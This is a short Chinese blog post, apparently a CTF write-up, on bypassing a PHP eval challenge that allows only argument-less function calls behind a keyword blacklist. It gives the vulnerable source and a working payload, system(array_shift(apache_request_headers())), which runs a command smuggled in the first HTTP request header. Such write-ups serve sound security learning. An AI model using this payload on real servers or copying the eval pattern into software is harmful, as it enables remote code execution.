本文最后更新于 2025-06-19T14:47:33+08:00
源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php highlight_file(__FILE__); $exp = $_GET['exp'];
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $exp)) { if (!preg_match("/o|v|b|print|var|time|file|sqrt|path|dir|exp|pi|an|na|en|ex|et|na|dec|true|false|[0-9]/i", $exp)) { eval($exp); } else { exit('NoNoNo,U R Hacker~'); } } else { exit("What's this?"); }
|
1
| if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $exp))
|
这段代码可知打无参RCE,过滤有点严格
1
| if (!preg_match("/o|v|b|print|var|time|file|sqrt|path|dir|exp|pi|an|na|en|ex|et|na|dec|true|false|[0-9]/i", $exp))
|
有个提示
- 在 Apache 中有个函数
apache_request_headers(),这个函数是 PHP 中用于获取 HTTP 请求头的内置函数,在无参数被调用时,会返回一个包含所有 HTTP 请求头信息的数组,我们可以构造一个包含了恶意代码的特殊的请求头,利用system函数进行RCE
- 因为
apache_request_headers()这个函数返回的是包含了所有请求头的数组,可以利用array_shift()函数返回我们构造的请求头,这个函数是从数组中提取出第一个元素,所以只要把构造好的请求头放在第一个即可
- 最后就是使用
system进行RCE
payload
1
| system(array_shift(apache_request_headers()));
|
构造请求头,请求头名可以随便写,注意这个请求头一定要放在第一个请求头处

无参RCE--利用apache_request_headers函数
https://yschen20.github.io/2025/06/19/无参RCE-利用apache-request-headers函数/